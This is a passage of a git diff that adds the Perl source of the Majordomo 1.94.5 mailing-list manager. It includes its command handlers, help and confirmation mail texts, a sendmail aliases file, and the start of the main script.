"rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, $clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
      , are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
      ] + Subscribe yourself (or
      if specified) to the named . + + unsubscribe $list4help [
      ] + Unsubscribe yourself (or
      if specified) from the named . + "unsubscribe *" will remove you (or
      ) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
      ] + Find out which lists you (or
      if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! +**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo.aliases b/update/scripts/packages/majordomo-1.94.5/majordomo.aliases new file mode 100644 index 0000000..c827b89 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo.aliases @@ -0,0 +1,25 @@ +# +# The aliases file for majordomo. This works best if you tell sendmail about it +# in your sendmail.cf file (either /usr/lib/sendmail.cf or /etc/sendmail.cf). +# +# You need to be running a recent (8.6, at least) version of sendmail; one that +# groks multiple alias files. +# +# Look for a line that says "OA/usr/lib/aliases" or somesuch, and add a line below +# it, w/o the leading # sign, that looks like this: +# +# OA/usr/test/majordomo/majordomo.aliases +# +# After doing this, you should refreeze the sendmail cf via '/usr/lib/sendmail -bz' and +# restart sendmail. +# + +majordomo: "|/usr/test/majordomo-1.94.5/wrapper majordomo" +majordomo-owner: you +owner-majordomo: you + +test: "|/usr/test/majordomo-1.94.5/wrapper resend -l test test-list" +test-list: :include:/usr/test/majordomo-1.94.5/lists/test +owner-test: you +test-owner: you +test-request: you diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo.orig b/update/scripts/packages/majordomo-1.94.5/majordomo.orig new file mode 100644 index 0000000..9fd9ac4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo.orig @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific 